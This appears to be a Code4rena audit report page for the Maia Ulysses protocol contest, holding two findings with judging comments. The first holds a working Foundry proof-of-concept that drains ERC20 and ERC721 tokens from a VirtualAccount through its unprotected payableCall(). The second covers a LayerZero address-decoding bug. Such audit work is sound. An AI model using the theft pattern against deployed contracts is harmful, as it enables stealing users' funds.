Platform: Code4rena
Start Date: 22/09/2023
Pot Size: $100,000 USDC
Total HM: 15
Participants: 175
Period: 14 days
Judge: alcueca
Total Solo HM: 4
Id: 287
League: ETH
Rank: 71/175
Findings: 2
Award: $39.31
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: 0xTheC0der
Also found by: 0x180db, 0xDING99YA, 0xRstStn, 0xTiwa, 0xWaitress, 0xblackskull, 0xfuje, 3docSec, Aamir, Black_Box_DD, HChang26, Hama, Inspecktor, John_Femi, Jorgect, Kek, KingNFT, Kow, Limbooo, MIQUINHO, MrPotatoMagic, NoTechBG, Noro, Pessimistic, QiuhaoLi, SovaSlava, SpicyMeatball, T1MOH, TangYuanShen, Vagner, Viktor_Cortess, Yanchuan, _eperezok, alexweb3, alexxander, ast3ros, ayden, bin2chen, blutorque, btk, ciphermarco, ether_sky, gumgumzum, gztttt, hals, imare, its_basu, joaovwfreire, josephdara, klau5, kodyvim, ladboy233, marqymarq10, mert_eren, minhtrng, n1punp, nobody2018, oada, orion, peakbolt, peritoflores, perseverancesuccess, pfapostol, rvierdiiev, stuxy, tank, unsafesol, ustas, windhustler, zambody, zzzitron
0.1127 USDC - $0.11
The payableCall()
function is designed to execute any calls on behalf of owner of VirtualAccount
contract. The absence of access control would cause fund in VirtualAccount
to be stolen by anyone.
File: src\VirtualAccount.sol 085: function payableCall(PayableCall[] calldata calls) public payable returns (bytes[] memory returnData) { // @audit missing "requiresApprovedCaller" modifier 086: uint256 valAccumulator; 087: uint256 length = calls.length; 088: returnData = new bytes[](length); 089: PayableCall calldata _call; 090: for (uint256 i = 0; i < length;) { 091: _call = calls[i]; 092: uint256 val = _call.value; 093: // Humanity will be a Type V Kardashev Civilization before this overflows - andreas 094: // ~ 10^25 Wei in existence << ~ 10^76 size uint fits in a uint256 095: unchecked { 096: valAccumulator += val; 097: } 098: 099: bool success; 100: 101: if (isContract(_call.target)) (success, returnData[i]) = _call.target.call{value: val}(_call.callData); 102: 103: if (!success) revert CallFailed(); 104: 105: unchecked { 106: ++i; 107: } 108: } 109: 110: // Finally, make sure the msg.value = SUM(call[0...i].value) 111: if (msg.value != valAccumulator) revert CallFailed(); 112: }
The test cases below show both ERC20 and ERC721 tokens could be withdrawn from VirtualAccount
by an irrelevant account:
//SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.8.16; import "./helpers/ImportHelper.sol"; import "../../src/VirtualAccount.sol"; import {PayableCall} from "../../src/interfaces/IVirtualAccount.sol"; import {MockERC721} from "solmate/test/utils/mocks/MockERC721.sol"; contract VirtualAccountBug is DSTestPlus { uint16 rootChainId = uint16(42161); address owner = address(0xaaaa); address user = address(0xbbbb); address attacker = address(0xcccc); RootPort rootPort; ArbitrumBranchPort localPortAddress; VirtualAccount virtualAccount; MockERC20 erc20Token; MockERC721 erc721Token; function setUp() public { rootPort = new RootPort(rootChainId); localPortAddress = new ArbitrumBranchPort(rootChainId, address(rootPort), owner); virtualAccount = new VirtualAccount(user, address(localPortAddress)); erc20Token = new MockERC20("USDC", "USDC", 18); erc721Token = new MockERC721("Non-fungible token", "NFT"); } function testVirtualAccountBug_StealERC20Token() public { erc20Token.mint(address(virtualAccount), 1000e6); assertEq(1000e6, erc20Token.balanceOf(address(virtualAccount))); assertEq(0, erc20Token.balanceOf(attacker)); PayableCall[] memory calls = new PayableCall[](1); calls[0].target = address(erc20Token); calls[0].callData = abi.encodeWithSignature("transfer(address,uint256)", attacker, 1000e6); calls[0].value = 0; hevm.startPrank(attacker); virtualAccount.payableCall(calls); hevm.stopPrank(); assertEq(0, erc20Token.balanceOf(address(virtualAccount))); assertEq(1000e6, erc20Token.balanceOf(attacker)); } function testVirtualAccountBug_StealERC721Token() public { uint256 tokenID = 1; erc721Token.mint(address(virtualAccount), tokenID); assertEq(address(virtualAccount), erc721Token.ownerOf(tokenID)); PayableCall[] memory calls = new PayableCall[](1); calls[0].target = address(erc721Token); calls[0].callData = abi.encodeWithSignature( "transferFrom(address,address,uint256)", address(virtualAccount), attacker, tokenID ); calls[0].value = 0; hevm.startPrank(attacker); virtualAccount.payableCall(calls); hevm.stopPrank(); assertEq(attacker, erc721Token.ownerOf(tokenID)); } }
Test log:
2023-09-maia> forge test --match-test testVirtualAccountBug [â †] Compiling... No files changed, compilation skipped Running 2 tests for test/ulysses-omnichain/VirtualAccountBug.t.sol:VirtualAccountBug [PASS] testVirtualAccountBug_StealERC20Token() (gas: 77098) [PASS] testVirtualAccountBug_StealERC721Token() (gas: 77953) Test result: ok. 2 passed; 0 failed; 0 skipped; finished in 2.17ms Ran 1 test suites: 2 tests passed, 0 failed, 0 skipped (2 total tests)
Manually review
Applying requiresApprovedCaller
modifier.
Access Control
#0 - c4-pre-sort
2023-10-08T14:33:25Z
0xA5DF marked the issue as duplicate of #888
#1 - c4-pre-sort
2023-10-08T14:40:44Z
0xA5DF marked the issue as sufficient quality report
#2 - c4-judge
2023-10-26T11:31:46Z
alcueca marked the issue as satisfactory
🌟 Selected for report: 3docSec
Also found by: 0xStalin, 0xadrii, KingNFT, Limbooo, T1MOH, Tendency, ZdravkoHr, ciphermarco, jasonxiale, lsaudit, minhtrng, rvierdiiev, wangxx2026
39.2026 USDC - $39.20
https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/BranchBridgeAgent.sol#L943 https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootBridgeAgent.sol#L1212
The _requiresEndpoint()
function of BranchBridgeAgent
contract and the requiresEndpoint
modifier of RootBridgeAgent
contract don't decode remote caller correctly , which would cause all cross-chain calls of the Ulysses protocol to fail inevitably.
Below is the call stack of LayerZero
relayers submitting cross-chain call to a target chain:
Relayer -> UltraLightNodeV2 -> Endpoint -> APP
we can verify the above call procedure by the following case, which is sent by the Stargate
APP from Arbitrum
to Ethereum
via LayerZero
:
https://etherscan.io/tx/0x89ad01a750b701f40106089b24730c9c9cc48860b9ba3c9f8fb7b1619a5d0685
please pay attention on the PacketReceived
event (link), emitted by UltraLightNodeV2
(0x4D73AdB72bC3DD368966edD0f0b2148401A178E2), contains cross-chain path
information:
srcChainId = 110 dstAddress = 0x296F55F8Fb28E498B858d0BcDA06D955B2Cb3f97 srcAddress = 0x352d8275AAE3e0c2404d9f68f6cEE084B5bEB3DD
let's dive deeper on the call between Endpoint
(0x66A71Dcef29A0fFBDBE3c6a460a3B5BC225Cd675) and APP(Stargate Bridge)
https://dashboard.tenderly.co/tx/mainnet/0x89ad01a750b701f40106089b24730c9c9cc48860b9ba3c9f8fb7b1619a5d0685?trace=0.2.0.3.0
we can get
(Endpoint => Bridge) .lzReceive(_srcChainId = 110, _srcAddress = 0x352d8275aae3e0c2404d9f68f6cee084b5beb3dd296f55f8fb28e498b858d0bcda06d955b2cb3f97, _nonce = 150418, _payload = 0x0000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000d000000000000000000000000000000000000000000000000000000000000000d000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000630f7f51707b8e6a7d000000000000000000000000000000000000000000000000011b9a6b767acd0700000000000000000000000000000000000000000000000000007114355c1f0400000000000000000000000000000000000000000000000000002c13d23113f5000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002c13d23113f5000000000000000000000000000000000000000000000000011c63a7503913f500000000000000000000000000000000000000000000000000000000000001c00000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000001426f10640ddd00dd4fc219c255caaab12255b80230000000000000000000000000000000000000000000000000000000000000000000000000000000000000000) => ()
look at the _srcAddress
parameter
_srcAddress = 0x352d8275aae3e0c2404d9f68f6cee084b5beb3dd296f55f8fb28e498b858d0bcda06d955b2cb3f97
we can find
_srcAddress = concat(0x352d8275AAE3e0c2404d9f68f6cEE084B5bEB3DD, 0x296F55F8Fb28E498B858d0BcDA06D955B2Cb3f97)
that is the _srcAddress
is actually a concatenation of [srcAddress][dstAddress]
we can also verify the above observation on source code of UltraLightNodeV2
and Endpoint
contracts:
https://etherscan.io/address/0x4D73AdB72bC3DD368966edD0f0b2148401A178E2#code#F21#L111
076: function validateTransactionProof(uint16 _srcChainId, address _dstAddress, uint _gasLimit, bytes32 _lookupHash, bytes32 _blockData, bytes calldata _transactionProof) external override { ... 110: 111: bytes memory pathData = abi.encodePacked(_packet.srcAddress, _packet.dstAddress); 112: emit PacketReceived(_packet.srcChainId, _packet.srcAddress, _packet.dstAddress, _packet.nonce, keccak256(_packet.payload)); 113: endpoint.receivePayload(_srcChainId, pathData, _dstAddress, _packet.nonce, _gasLimit, _packet.payload); 114: }
https://etherscan.io/address/0x66a71dcef29a0ffbdbe3c6a460a3b5bc225cd675#code#F1#L100
File: D:\programs\Microsoft VS Code\Untitled-1 100: function receivePayload(uint16 _srcChainId, bytes calldata _srcAddress, address _dstAddress, uint64 _nonce, uint _gasLimit, bytes calldata _payload) external override receiveNonReentrant { ... 117: 118: try ILayerZeroReceiver(_dstAddress).lzReceive{gas: _gasLimit}(_srcChainId, _srcAddress, _nonce, _payload) { 119: // ... 120: } catch (bytes memory reason) { ... 124: } 125: }
But the Ulysses
protocol decodes _srcAddress
as [dstAddress][srcAddress]
:
please pay attention on L943
of BranchBridgeAgent.sol
and L1212
of RootBridgeAgent.sol
, the second
20 bytes are taken from the _srcAddress
parameter as the remote caller address, but actually the first
20 bytes is the correct remote caller.
File: src\BranchBridgeAgent.sol 936: function _requiresEndpoint(address _endpoint, bytes calldata _srcAddress) internal view virtual { 937: //Verify Endpoint 938: if (msg.sender != address(this)) revert LayerZeroUnauthorizedEndpoint(); 939: if (_endpoint != lzEndpointAddress) revert LayerZeroUnauthorizedEndpoint(); 940: 941: //Verify Remote Caller 942: if (_srcAddress.length != 40) revert LayerZeroUnauthorizedCaller(); 943: if (rootBridgeAgentAddress != address(uint160(bytes20(_srcAddress[20:])))) revert LayerZeroUnauthorizedCaller(); 944: } File: src\RootBridgeAgent.sol 1204: modifier requiresEndpoint(address _endpoint, uint16 _srcChain, bytes calldata _srcAddress) virtual { 1205: if (msg.sender != address(this)) revert LayerZeroUnauthorizedEndpoint(); 1206: 1207: if (_endpoint != getBranchBridgeAgent[localChainId]) { 1208: if (_endpoint != lzEndpointAddress) revert LayerZeroUnauthorizedEndpoint(); 1209: 1210: if (_srcAddress.length != 40) revert LayerZeroUnauthorizedCaller(); 1211: 1212: if (getBranchBridgeAgent[_srcChain] != address(uint160(bytes20(_srcAddress[PARAMS_ADDRESS_SIZE:])))) { 1213: revert LayerZeroUnauthorizedCaller(); 1214: } 1215: } 1216: _; 1217: }
Hence, all Ulysses
protocol's cross-chain calls would revert due to verification failure of remote BridgeAgent
.
Manually review
Decode _srcAddress
parameter as how UltraLightNodeV2
encodes it.
en/de-code
#0 - c4-pre-sort
2023-10-12T14:13:06Z
0xA5DF marked the issue as duplicate of #439
#1 - c4-pre-sort
2023-10-12T14:13:12Z
0xA5DF marked the issue as sufficient quality report
#2 - c4-judge
2023-10-26T09:42:13Z
alcueca changed the severity to 2 (Med Risk)
#3 - c4-judge
2023-10-26T09:43:07Z
alcueca marked the issue as satisfactory
#4 - alcueca
2023-10-26T09:52:52Z
There are very high effort submissions in this duplicate group. All others are getting 50% so that the few very high effort ones get double rewards.
#5 - c4-judge
2023-10-26T09:52:58Z
alcueca marked the issue as partial-50